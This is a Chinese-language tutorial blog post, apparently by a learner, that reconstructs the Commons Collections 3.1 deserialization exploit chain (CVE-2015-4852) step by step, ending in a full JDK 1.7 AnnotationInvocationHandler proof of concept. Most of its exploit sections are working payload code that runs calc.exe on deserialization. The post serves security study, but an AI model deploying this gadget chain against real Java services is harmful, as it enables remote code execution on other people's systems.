推荐阅读时间:60min
全文字数:2w+

前言

这是个人学习java反序列化的第一篇利用链的文章,就好像P牛说的不知道为什么网上讲到java反序列化学习,上来就是cc链,你知道这个链它有多复杂么.jpg。萌新也是理所当然的踩了这个坑,然后.....在一路质疑自己智商和"我不服"的情况下趟了过去。

路难行,难行,总归要走。
走来,回望去,呵,牛逼。

在此文中是以一个只了解java反射机制和反序列化利用点(readObject)的视角去一点点复现推导了commons-collections、jdk1.7的poc的构造。

同时记录下了一个个踩的坑,再爬出来,再跳进去,再爬出来的历程。

如果你具备了反射机制和反序列化基本原理的知识,同时想学习cc链的话,个人感觉是这篇文是再适合不过了。

那么开始。

了解反射机制的话,我们会发现若存在一个固有的反射机制时,输入可控,就可能形成任意函数调用的情况,具有极大的危害。
但实际上真的有存在这种情况:这就是commons-collections-3.1 jar包,cve编号:cve-2015-4852

在开始之前我们需要理一下反序列化漏洞的攻击流程:

  1. 客户端构造payload(有效载荷),并进行一层层的封装,完成最后的exp(exploit-利用代码)
  2. exp发送到服务端,进入一个服务端自主复写(也可能是也有组件复写)的readobject函数,它会反序列化恢复我们构造的exp去形成一个恶意的数据格式exp_1(剥去第一层)
  3. 这个恶意数据exp_1在接下来的处理流程(可能是在自主复写的readobject中、也可能是在外面的逻辑中),会执行一个exp_1这个恶意数据类的一个方法,在方法中会根据exp_1的内容进行函处理,从而一层层地剥去(或者说变形、解析)我们exp_1变成exp_2、exp_3......
  4. 最后在一个可执行任意命令的函数中执行最后的payload,完成远程代码执行。

那么以上大概可以分成三个主要部分:

  1. payload:需要让服务端执行的语句:比如说弹计算器还是执行远程访问等;我把它称为:payload
  2. 反序列化利用链:服务端中存在的反序列化利用链,会一层层拨开我们的exp,最后执行payload。(在此篇中就是commons-collections利用链)
  3. readObject复写利用点:服务端中存在的可以与我们漏洞链相接的并且可以从外部访问的readObject函数复写点;我把它称为readObject复写利用点(自创名称...)

commons-collections-3.1

首先来看看commons-collections项目
官网第一段:

Java commons-collections是JDK 1.2中的一个主要新增部分。它添加了许多强大的数据结构,可以加速大多数重要Java应用程序的开发。从那时起,它已经成为Java中公认的集合处理标准。

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。
它是一个基础数据结构包,同时封装了很多功能,其中我们需要关注一个功能:

  • Transforming decorators that alter each object as it is added to the collection
  • 转化装饰器:修改每一个添加到collection中的object

Commons Collections实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。
org.apache.commons.collections.Transformer这个类可以满足固定的类型转化需求,其转化函数可以自定义实现,我们的漏洞触发函数就是在于这个点。

漏洞复现需要下载3.1版本源码3.1版本的下载地址,进去寻觅一下源码和jar包都有。

由于没有找到漏洞版本3.1的api说明,我们可以参考3.2.2的api文档

POC->利用链

我们将通过调试POC得到漏洞利用链的调用栈,顺便介绍一下各个类,再通过分析调用栈的函数,反推出POC来探究其中的利用原理。

我们先看一下网上的POC代码,如下:

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class commons_collections_3_1 {

    public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
        onlyElement.setValue("foobar");
    }
}

好好看代码的同学肯定会意识到,以上的poc其实只包括我总结三要素的payload和反序列化利用链两者。
而关键的readObject复写利用点没有包含在内。事实确实如此。
这个poc的复写利用点是sun.reflect.annotation.AnnotationInvocationHandler的readObject(),但是我们先精简代码关注payload和利用链,最后再加上readObject复写点。

调试以上POC,得到两种调用栈:

漏洞链

Map.Entry其实就是键值对的数据格式,其setValue函数如下
AbstracInputCheckedMapDecorator.class

public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);//进入此处
            return super.entry.setValue(value);
        }

TransformedMap是一种重写map类型的set函数和Map.Entry类型的setValue函数去调用转换链的Map类型。
TransformedMap.class

protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);//进入此处
    }

由于TransformedMap具有commons_collections的转变特性,当赋值一个键值对的时候会自动对输入值进行预设的Transformer的调用。

ChainedTransformer.class:这里有一个

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            //循环进入此处,先进入1次ConstantTransformer.class,再3次InvokerTransformer.class
            object = this.iTransformers[i].transform(object);
            //另外需要注意在数组的循环中,前一次transform函数的返回值,会作为下一次transform函数的object参数输入。
        }
        return object;
    }

transform()函数是一个接口函数,在上面的循环中进入了不同的函数。
先是1次ConstantTransformer.class

public Object transform(Object input) {
        return this.iConstant;
    }

再是进入了InvokerTransformer.class,看到这个就会发现有点东西了。

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                //获取input对象的class
                Class cls = input.getClass();
                //根据iMethodName、iParamTypes选择cls中的一个方法
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                //根据iArgs参数调用这个方法
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }
}

明显的反射机制,可见InvokerTransformer就是我们的触发任意代码执行处,我们看看源码中的文件描述:
先看看我们需要关注的InvokerTransformer类的描述(在jar包中是找不到描述信息的,可以通过下载官方源码得到):

/**
 * Transformer implementation that creates a new object instance by reflection.
 * 
 通过反射机制创建一个新的对象实例的转换器实现

我们可以这里有经典的反射机制调用,在细节分析前我们先整理一下调用栈,但不需要很理解。

Map.Entry 类型setValue("foobar")
=> AbstracInputCheckedMapDecorator.setValue()
=> TransformedMap.checkSetValue()
=> ChainedTransformer.transform(Object object)
    根据数组先进入 => ConstantTransformer.transform(Object input)
    再进入 => InvokerTransformer.transform(Object input)

重构POC

首先明确我们的最终目的是为了执行语句Runtime.getRuntime().exec("calc.exe");

  • Runtime.getRuntime:获取一个Runtime的实例
  • exec():调用实例的exec函数

因为漏洞函数最后是通过反射机制调用任意这个语句先转化成反射机制如下(后面需要用到):

至于如何构造反射机制的语句,参考往期文章java反射机制

Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))//此处在获取实例
,
"calc.exe"
)

第一步 InvokerTransformer

再回看反射机制触发函数InvokerTransformer类的transform(Object input)(做了简化处理,只留取重点部分):

public Object transform(Object input) {
    Class cls = input.getClass();
    Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
    return method.invoke(input, this.iArgs);

通过构造的反射机制以及以上代码进行填空,可以得出当变量等于以下值时,可形成命令执行:

Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
this.iMethodName="exec"
this.iParamTypes=String.class
this.iArgs="calc.exe"

那么在InvokerTransformer类源码中我们可以找到赋值this.iMethodName,this.iParamTypes,this.iArgs的构造函数:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

我们就可以构建以下测试代码直接调用InvokerTransformer通过反射执行任意命令:
下面开始试一下:

public static void main(String[] args) throws Exception {
    //通过构造函数,输入对应格式的参数,对iMethodName、iParamTypes、iArgs进行赋值
    InvokerTransformer a = new InvokerTransformer(
            "exec",
            new Class[]{String.class},
            new String[]{"calc.exe"}
    );
    //构造input
    Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
    //执行
    a.transform(input);
}

在第二步之前

弹出了计算器!好像很厉害的样子!然后我们来模拟一下利用场景:

  • 为了方便,攻击者受害者写在同一函数中
  • 使用文件写入,代替网络传输

由于InvokerTransformer继承了Serializable类,是可以成功序列化的

public static void main(String[] args) throws Exception {
    //模拟攻击
    //1.客户端构造序列化payload,使用写入文件模拟发包攻击
    InvokerTransformer a = new InvokerTransformer(
            "exec",
            new Class[]{String.class},
            new String[]{"calc.exe"});

    FileOutputStream f = new FileOutputStream("payload.bin");
    ObjectOutputStream fout = new ObjectOutputStream(f);
    fout.writeObject(a);
    //2.服务端从文件中读取payload模拟接受包,然后触发漏洞
    //服务端反序列化payload读取
        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
    //神奇第一处:服务端需要自主构造恶意input
        Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
    //神奇第二处:服务端需要将客户端输入反序列化成InvokerTransformer格式,并在服务端自主传入恶意参数input
        InvokerTransformer a_in = (InvokerTransformer) fin.readObject();
        a_in.transform(input);
}

我们会发现如果我们要直接利用这个反射机制作为漏洞的话,需要服务端的开发人员:

  1. 帮我们写一个payload作为input;
  2. 接受客户端输入参数,反序列化成InvokerTransformer类
  3. 再刻意调用InvokerTransformer类的transform函数

实际上.....只有开发人员是自己人的情况下才满足条件吧......
所以我们面临一些问题:

  1. payload肯定需要在客户端可以自定义构造,再传输进入服务端
  2. 服务端需要把我们的输入exp反序列化成一个在代码中可能使用到的类
  3. 并且在代码正常操作中会调用这个类中的一个可触发漏洞地函数(当然这个函数最后会进入我们InvokerTransformer类的transform函数,从而形成命令执行)
  4. 如果这个反序列化的类和这个类触发命令执行的方法可以在一个readObject复写函数中恰好触发,就对于服务端上下文语句没有要求了!

这边假如像预期这样,是对服务端上下文没有要求,因为只要执行readObject就肯定会命令执行,不需要其他上下文条件。
但是对于服务端版本环境是有要求的,之后会说到

那么我们一个个来解决问题:首先使客户端自定义paylaod!

第二步 ChainedTransformer

下面我们需要关注ChainedTransformer这个类,首先看一下这个类的描述:

/**
    * Transformer implementation that chains the specified transformers together.
    * <p>
    * The input object is passed to the first transformer. The transformed result
    * is passed to the second transformer and so on.
    * 
    将指定的转换器连接在一起的转化器实现
    输入的对象将被传递到第一个转化器转换结果将会输入到第二个转化器并以此类推

可以知道他会把我们的Transformer变成一个串,再逐一执行,其中这个操作对应的就是ChainedTransformer类的transform函数

/**
        * Transforms the input to result via each decorated transformer
        * 
        * @param object  the input object passed to the first transformer
        * @return the transformed result
        */
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

这里会遍历iTransformers数组,依次调用这个数组中每一个Transformer的transform,并串行传递执行结果。

首先确定iTransformers可控,iTransformers数组是通过ChainedTransformer类的构造函数赋值的:

/**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param transformers  the transformers to chain, not copied, no nulls
     */
    public ChainedTransformer(Transformer[] transformers) {
        super();//这个super不清楚做了啥,
        iTransformers = transformers;
    }

那么我们知道可以自定义iTransformers的内容,我们已有条件如下:

//最终执行目标
    Class.forName("java.lang.Runtime")
    .getMethod("exec", String.class)
    .invoke(
    Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))//此处在获取实例
    ,
    "calc.exe"
    )
    //InvokeTransformer关键语句:
    public Object transform(Object input) {
        Class cls = input.getClass();
        Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
        return method.invoke(input, this.iArgs);
    }

再看到InvokeTransformer代码我们需要引出一个注意点

这里我们需要注意到input.getClass()这个方法使用上的一些区别:

  • 当input是一个类的实例对象时,获取到的是这个类
  • 当input是一个类时,获取到的是java.lang.Class

可以使用如下代码验证,这里不再赘述

Object a = Runtime.getRuntime();
    Class b = Runtime.class;
    System.out.println(a.getClass());
    System.out.println(b.getClass());

    //结果
    //class java.lang.Runtime
    //class java.lang.Class

基于之前写的代码:

//只调用InvokeTransformer的情况如下:
    InvokerTransformer a = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new String[]{"calc.exe"});

    Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));

我们也可以知道input的为Runtime类的对象,所以cls就是Runtime类,所以cls.getMethod可以找到exec方法,直接进行调用。

先把a封装成ChainedTransformer格式,但是payload还是在外面

//客户端构造payload
    Transformer[] transformers = new Transformer[] {
        new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"});
    }
    Transformer transformerChain = new ChainedTransformer(transformers);

    //服务端触发所需内容
    Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
    transformerChain.transform(input);//此处必须为input,作为第一个输入

把payload放入Transformer数组中,需要转化成特定的Transformer格式才行。

第二点五步 ConstantTransformer -> Runtime实例序列化

我们找到ConstantTransformer类跟InvokkerTransformer一样继承Transforme父类,可以进入数组
顾名思义ConstantTransformer类其实就只会存放一个常量;它的构造函数会写入这个变量,他的transform函数会返回这个变量。
把Runtime实例写入这个变量:

Transformer[] transformers = new Transformer[] {
        //以下两个语句等同,一个是通过反射机制得到,一个是直接调用得到Runtime实例
        // new ConstantTransformer(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))),
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
    };
    Transformer transformerChain = new ChainedTransformer(transformers);
    transformerChain.transform(null);//此处输入可以为任意值,因为不会被使用到,相当于初始第一个输入为我们设置的常量

以上代码可以成功弹框执行!那么我们模拟一下序列化与反序列化过程!

//客户端构造payload
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))),
        new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
    };
    Transformer transformerChain = new ChainedTransformer(transformers);
    //payload序列化写入文件,模拟网络传输
    FileOutputStream f = new FileOutputStream("payload.bin");
    ObjectOutputStream fout = new ObjectOutputStream(f);
    fout.writeObject(transformerChain);

    //服务端反序列化payload读取
    FileInputStream fi = new FileInputStream("payload.bin");
    ObjectInputStream fin = new ObjectInputStream(fi);
    //服务端反序列化成ChainedTransformer格式,并在服务端自主传入恶意参数input
    Transformer transformerChain_now = (ChainedTransformer) fin.readObject();
    transformerChain_now.transform(null);

但是很遗憾的告诉以为快要成功的你,成功的本地测试加上序列化、反序列化过程之后就会失败。
因为Runtime类的定义没有继承Serializable类,所以是不支持反序列化的。

那么我们在payload写入Runtime实例的计划就泡汤了。

第二点八步 在服务端生成Runtime实例

既然我们没法在客户端序列化写入Runtime的实例,那就让服务端执行我们的命令生成一个Runtime实例呗?
我们知道Runtime的实例是通过Runtime.getRuntime()来获取的,而InvokerTransformer里面的反射机制可以执行任意函数。
同时,我们已经成功执行过Runtime类里面的exec函数。讲道理肯定是没问题的.

我们先看getRuntiime方法的参数

public static Runtime getRuntime() {
    return currentRuntime;
}

没有参数,那就非常简单了

Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),//得到Runtime class
            //由于InvokerTransformer的构造函数要求传入Class类型的参数类型,和Object类型的参数数值,所以封装一下,下面也一样
            //上面传入Runtime.class,调用Runtime class的getRuntime方法(由于是一个静态方法,invoke调用静态方法,传入类即可)
            new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}),
            //上面Runtime.getRuntime()得到了实例,作为这边的输入(invoke调用普通方法,需要传入类的实例)     
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
    };
    Transformer transformerChain = new ChainedTransformer(transformers);
    transformerChain.transform(null);

在这里,之前自己陷入了一个很傻逼的问题,即:InvokerTransformer类transform方法中return method.invoke()这个语句
invoke()调用到底return了啥?
因为在这里形成了一个调用return的结果,再调用的链。为什么就可以上一个输出作为下一个输入时,可以成功调用了呢?
一开始以为invoke会统一返回一个对象作为下一个输入什么的,并且在调试的时候每次invoke的结果都不一样,源码看的头晕。
实际上是钻了死胡同:invoke的return是根据被调用的函数return啥,invoke就return啥。
就好比我invoke一个我自定义的方法a,在a中,我return了字符串"1"。那么就是invoke的结果就是字符串"1"。
看以上的过程就是第一次Runtime.getRuntime()的结果输入了下一个InvokerTransformer

以上感觉是万事大吉了!但是实际上并不是...

回想之前对于InvokerTransformer中Class cls = input.getClass();的解释

这里我们需要注意到input.getClass()这个方法使用上的一些区别:

  • 当input是一个类的实例对象时,获取到的是这个类
  • 当input是一个类时,获取到的是java.lang.Class

我们来推演第一次InvokerTransformer的反射调用,即得到Runtime类对象的getRuntime方法调用:

//InvokeTransformer关键语句:
    public Object transform(Object input) {//input为我们设置的常量Runtime.class
        Class cls = input.getClass();//!!!这里由于input是一个类,会得到java.lang.Class
        //在java.lang.Class类中去寻找getRuntime方法企图得到Runtime类对象,此处报错!!
        Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
        return method.invoke(input, this.iArgs);
    }

那么我们好像陷入了一个死胡同:
得到Runtime类实例才能调用exec方法。
而得到Runtime类实例作为input,才能得到Runtime class,才能找到getRuntime方法,得到Runtime类实例.........

.....................非常的尴尬.......................

第二点九步 还是反射机制

那么我们通过直接调用Runtime.getRuntime方法好像是行不通了,有没有其他方法呢?

还是反射机制

已知:

  1. 我们开头不能获得Class.forName("java.lang.Runtime"),只能得到Class.forName("java.lang.Class")
  2. 我们可以有任意的反射机制
    求:
  3. 我们要获取到Runtime.getRunime函数,并执行它。
    解:
  4. 通过反射机制获取反射机制中的getMethod类,由于getMethod类是存在Class类中,就符合开头Class类的限制
  5. 通过getMethod函数获取Runtime类中的getRuntime函数
    • 在哪个类中调用getMethod去获取方法,实际上是由invoke函数里面的的第一个参数obj决定的
  6. 再通过反射机制获取反射机制中的invoke类,执行上面获取的getRuntime函数
  7. invoke调用getRuntime函数,获取Runtime类的实例
    • 这里在使用反射机制调用getRuntime静态类时,invoke里面第一个参数obj其实可以任意改为null,或者其他类,而不一定要是Runtime类

具体变化细节,我选择把它放在反射机制一文中说明,这边给出结果。

我们的最终目的是执行
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")

先来获取getRuntime类

//目标语句
Class.forName("java.lang.Runtime").getMethod("getRuntime")
//使用java.lang.Class开头
Class.forName("java.lang.Class").getMethod("getMethod", new Class[] {String.class, Class[].class })
        .invoke(Class.forName("java.lang.Runtime"),"getRuntime",new Class[0]);
        //invoke函数的第一个参数是Runtime类,我们需要在Runtime类中去执行getMethod,获取getRuntime参数

对照着InvokerTransformer类转变为transformers格式

Class cls = input.getClass();//cls = java.lang.Class
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //getMethod方法
return method.invoke(input, this.iArgs); //在Runtime中找getRuntime方法,并返回这个方法
Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
       //还需要填充 调用getRuntime得到Runtime实例,
        new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};

还差执行获取到的getRuntime,下一个input是上一个执行接口,继续对照

//input=getRuntime这个方法
Class cls = input.getClass();//cls = java.lang.Method(getRuntime方法是method类)
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //在method类中找到invoke方法,method=invoke方法
return method.invoke(input, this.iArgs); //调用invoke方法,input=getRuntime这个方法,传入自定义的参数

以上最后一步有点复杂,method就是invoke方法,相当于使用invoke调用了invoke函数。
首先this.iMethodName, this.iParamTypes是根据invoke接口而定的:

public Object invoke(Object obj, Object... args)
//this.iMethodName="invoke"
//this.iParamTypes=new Class[] {Object.class, Object[].class }
//外面class、Object封装是InvokerTransformer类的构造函数要求

按照invoke中的input才是它要调用的环境的准则。
invoke方法.invoke(input, this.iArgs)实际上等于input.invoke(this.iArgs)
而input=getRuntime方法,那么只要填入this.iArgs就好了

又由于getRuntime是个静态函数,不用太纠结输入obj,写作null。getRuntime方法不需要参数。
this.iArgs=null,new Object[0]

那么整合就如下:

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};

以上代码其实就是等同于
((Runtime)Runtime.class.getMethod("getMethod",null).invoke(null,null)).exec("calc.exe");
我们笼统的来理解,实际就是如下(这里偷一张orleven的图):

总体上来说:利用了反射机制调用反射机制的函数,绕过了开头cls只能为java.lang.Class的限制,根据具体环境input环环相扣,特么竟然恰好就通了
....非常的微妙....

第三步 TransformedMap

那么我们在第二步通过ConstantTransformer、ChainedTransformer就完成了payload在客户端自定义这一目标,我们看一下目前的攻击流程

public class commons_collections_3_1 {

    public static void main(String[] args) throws Exception {
        //1.客户端构建攻击代码
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //payload序列化写入文件,模拟网络传输
        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(transformerChain);

        //2.服务端读取文件,反序列化,模拟网络传输
        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);

        //服务端反序列化成ChainedTransformer格式,再调用transform函数
        Transformer transformerChain_now = (ChainedTransformer) fin.readObject();
        transformerChain_now.transform(null);
    }
}

完成命令执行服务端执行如下操作:

  1. 服务端反序列化我们的输入成ChainedTransformer类型
  2. 调用这个输入的transform()函数

转变的类型是一个数据转化链数据格式,很明显服务端不可能存在这种代码,利用价值不足,接下来我们需要继续延长这个漏洞链。

封装成Map

由于我们得到的是ChainedTransformer,一个转换链,TransformedMap类提供将map和转换链绑定的构造函数,只需要添加数据至map中就会自动调用这个转换链执行payload。

这样我们就可以把触发条件从显性的调用转换链的transform函数延伸到修改map的值。很明显后者是一个常规操作,极有可能被触发。

TransformedMap

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

try一下:

public static void main(String[] args) throws Exception {
    //1.客户端构建攻击代码
    //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
    };
    //将transformers数组存入ChaniedTransformer这个继承类
    Transformer transformerChain = new ChainedTransformer(transformers);

    //创建Map并绑定transformerChina
    Map innerMap = new HashMap();
    innerMap.put("value", "value");
    //给予map数据转化链
    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

    //payload序列化写入文件,模拟网络传输
    FileOutputStream f = new FileOutputStream("payload.bin");
    ObjectOutputStream fout = new ObjectOutputStream(f);
    fout.writeObject(outerMap);

    //2.服务端接受反序列化,出发漏洞
    //读取文件,反序列化,模拟网络传输
    FileInputStream fi = new FileInputStream("payload.bin");
    ObjectInputStream fin = new ObjectInputStream(fi);

    //服务端反序列化成Map格式,再调用transform函数
    Map outerMap_now =  (Map)fin.readObject();
    //2.1可以直接map添加新值,触发漏洞
    //outerMap_now.put("123", "123");
    //2.2也可以获取map键值对,修改value,value为value,foobar,触发漏洞
    Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
    onlyElement.setValue("foobar");
}

亲测有效

第四步 jdk1.7 AnnotationInvocationHandler的readObject复写点

上面的漏洞触发条件仍然不够完美,需要服务端把我们传入的序列化内容反序列化为map,并对值进行修改。
之前也说过完美的反序列化漏洞还需要一个readobject复写点,使只要服务端执行了readObject函数就等于命令执行。

在jdk1.7中就存在一个完美的readobject复写点的类sun.reflect.annotation.AnnotationInvocationHandler
我們先看他的构造函数

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    Class[] var3 = var1.getInterfaces();
    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {//var1满足这个if条件时
        this.type = var1;//传入的var1到this.type
        this.memberValues = var2;//我们的map传入this.memberValues
    } else {
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    }
}

readobject复写函数:

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        //默认反序列化
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();//
        Iterator var4 = this.memberValues.entrySet().iterator();//获取我们构造map的迭代器

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();//遍历map迭代器
            String var6 = (String)var5.getKey();//获取key的名称
            Class var7 = (Class)var3.get(var6);//获取var2中相应key的class类?这边具体var3是什么个含义不太懂,但是肯定var7、8两者不一样
            if (var7 != null) {
                Object var8 = var5.getValue();//获取map的value
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    //两者类型不一致,给var5赋值!!具体赋值什么已经不关键了!只要赋值了就代表执行命令成功
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }
}

虽然相对于这个类具体做什么,实在是没有精力去搞清楚了,但是它最终对于我们传入构造函数的map进行遍历赋值。
这样就弥补了我们之前反序列化需要服务端存在一些条件的不足,形成完美反序列化攻击。

最终模拟攻击代码

public static void main(String[] args) throws Exception {
    //1.客户端构建攻击代码
    //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
    };
    //将transformers数组存入ChaniedTransformer这个继承类
    Transformer transformerChain = new ChainedTransformer(transformers);

    //创建Map并绑定transformerChina
    Map innerMap = new HashMap();
    innerMap.put("value", "value");
    //给予map数据转化链
    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    //反射机制调用AnnotationInvocationHandler类的构造函数
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    //取消构造函数修饰符限制
    ctor.setAccessible(true);
    //获取AnnotationInvocationHandler类实例
    Object instance = ctor.newInstance(Target.class, outerMap);

    //payload序列化写入文件,模拟网络传输
    FileOutputStream f = new FileOutputStream("payload.bin");
    ObjectOutputStream fout = new ObjectOutputStream(f);
    fout.writeObject(instance);

    //2.服务端读取文件,反序列化,模拟网络传输
    FileInputStream fi = new FileInputStream("payload.bin");
    ObjectInputStream fin = new ObjectInputStream(fi);
    //服务端反序列化
    fin.readObject();
}

成功

至此,我们在客户端构造了payload发送至服务端,
只要服务端

  1. 对我们的输入进行反序列化
  2. jdk版本为1.7

就可以直接完成命令执行,完美!

2020/07/09更新

完美个屁,在先知有同学提出了问题:

请问为什么innerMap.put("value", "value");我换成innerMap.put("key", "value");就无法触发,key换成其他值都无法触发,只有“value”可以。

这其实就是当初一个人茫然的学学学,实在坚持不下去,疏忽导致的坑。那么我们回过头来看这个问题。

在我们封装成Map时。就默认使用了value:value作为键值对,在那个时候我们把这里改成任意的键值对都是可以成功触发的。

但是一旦我们引入了AnnotationInvocationHandler作为readobject复写点,就再去改动这个值就会执行命令失败。问题肯定处理在AnnotaionInvocationHandler这个过程中。

